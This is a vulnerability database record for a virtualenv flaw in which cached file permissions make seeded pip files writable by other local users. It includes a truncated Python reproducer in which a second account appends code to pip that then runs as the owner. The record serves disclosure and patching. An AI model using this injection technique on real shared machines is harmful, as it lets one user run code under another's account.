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Response snapshot Oct 27, 2026, 04:06 UTC

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VulnerabilityCVE-2026-113720

virtualenv: Seeded files retain permissions from an older cache

The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments.

Published Updated

At a glance

Exploited
Not known
Severity
4.4 Medium (CVSS 4.0)
Chance of exploitation
0.1% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-fc2g-4w5p-6whm (opens a new tab)

What happened

## Summary

The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments.

Anthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Continue reading

Permissions of files copied from app-data into a new environment.

## Attacker-controlled input

The cache must contain files created with broader permissions than the current environment creator intends. Another account must also be able to traverse the new environment and reach those files. A private parent directory prevents that access. No control of a private live cache is assumed.

## Affected code

The relevant 21.14.8 source is in [copy helpers](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).

## Mechanism

The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with `shutil.copy()`. That function applies the cached source mode to each destination file after creating it, overriding the current run's umask. If the cache image was built under umask `000`, a later environment created under umask `022` can receive mode-`0666` pip files. The cache may be private while the new environment is reachable by other local accounts.

## Reproduction and evidence

The scanner created two histories with separate private app-data caches. In the control, the owner's first run used umask `022`; a later environment had no files writable by another account, and that account could not append to `pip/__init__.py`. In the attack history, the first run used umask `000` and the later run still used `022`. The report counted 478 of 493 environment files writable by others.

A second unprivileged uid appended a line to pip, and `bin/pip --version` ran it as the environment owner. The cache itself remained under a mode-`0700` home in both histories.

An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable destination. A mode-`002` cache can expose group write access under suitable group permissions. The scanner dates app-data copy seeding to #1578, first released in 20.0.2. [PR #3425](https://github.com/pypa/virtualenv/pull/3425) creates copied files under a fixed non-writable-by-others policy further restricted by the current umask.

## Attack sequence

```mermaid sequenceDiagram participant U as Environment owner participant C as Private app-data cache participant E as Later environment participant A as Other local account U->>C: first seed extraction under umask 000 C-->>U: cached pip files have mode 0666 U->>E: create environment under umask 022 C->>E: shutil.copy reapplies mode 0666 A->>E: append code to pip/__init__.py U->>E: run bin/pip --version E-->>U: appended code runs as owner ```

## Reproducer files

The following files are from the scanner report for `ANT-2026-487MH6OW`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

**`repro`**

```text #!/usr/bin/env python3 import glob import os import shutil import stat import subprocess import sys from pathlib import Path

sys.stdout.reconfigure(line_buffering=True) # keep these lines in order with those of the child processes os.umask(0o022) # for the directories made here as root OWNER, OTHER_USER = 1000, 65534 # root is only needed to switch to these two unprivileged uids VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"] # default seeder; no network for the update check # read here, as root: /tmp/repro.

d need not be readable by the other user ATTACK = Path("/tmp/repro.d/other_user_appends_to_pip.py").read_text()

def run_as_owner(command, home, umask): environ = {"HOME": str(home), "PATH": os.environ["PATH"]} subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)

def mode(path): return stat.filemode(os.stat(path).st_mode)

work = Path("/tmp/seed-mode-repro") shutil.rmtree(work, ignore_errors=True) work.mkdir() proofs = work / "proofs" proofs.mkdir() proofs.chmod(0o777) # the other user's line writes the uid it runs as in here

writable_by_others, appended_line_ran_as = {}, {} # the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv for case, umask_of_earlier_run in [("CONTROL", 0o022), ("OBSERVED", 0o000)]: # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path home = work / f"{case}-home" home.mkdir(mode=0o700) os.

chown(home, OWNER, OWNER) projects = work / f"{case}-projects" projects.mkdir(mode=0o755) os.chown(projects, OWNER, OWNER)

# owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it run_as_owner([*VIRTUALENV, str(home / "earlier-env")], home, umask=umask_of_earlier_run) # owner, today env = projects / "env" run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)

(cached_pip,) = glob.glob(f"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py") (seeded_pip,) = glob.glob(f"{env}/lib/python*/site-packages/pip/__init__.py") env_files = [path for path in env.rglob("*") if path.is_file() and not path.is_symlink()] writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.

S_IWOTH) print(f"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022") print(f"{case} cache pip/__init__.py {mode(cached_pip)}") print(f"{case} env pyvenv.cfg {mode(env / 'pyvenv.cfg')}") print(f"{case} e

Affected package ranges reported by GitHub: virtualenv: < 21.14.9

Scores and how they were measured

CVSS base severity

4.4

Version 4.0As of

CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.1%

Scored Percentile 2.8%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-fc2g-4w5p-6whm (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-fc2g-4w5p-6whm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-113720, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 23). virtualenv: Seeded files retain permissions from an older cache (CVE-2026-113720). https://kevwire.com/record/CVE-2026-113720

MLA

"virtualenv: Seeded files retain permissions from an older cache (CVE-2026-113720)." KEVWire, 23 Oct. 2026, kevwire.com/record/CVE-2026-113720.

Chicago

KEVWire. "virtualenv: Seeded files retain permissions from an older cache (CVE-2026-113720)." Last modified October 23, 2026. https://kevwire.com/record/CVE-2026-113720.

Evidence summary (plain text)

virtualenv: Seeded files retain permissions from an older cache (Oct 23, 2026).
The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache
populated under permissive permissions can therefore produce files with wider access in later environments.

Anthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026.
CVSS 4.4 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-fc2g-4w5p-6whm).
EPSS 0.1% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113720&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-fc2g-4w5p-6whm: https://github.com/advisories/GHSA-fc2g-4w5p-6whm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113720&date=2026-10-26
Record ID: CVE-2026-113720.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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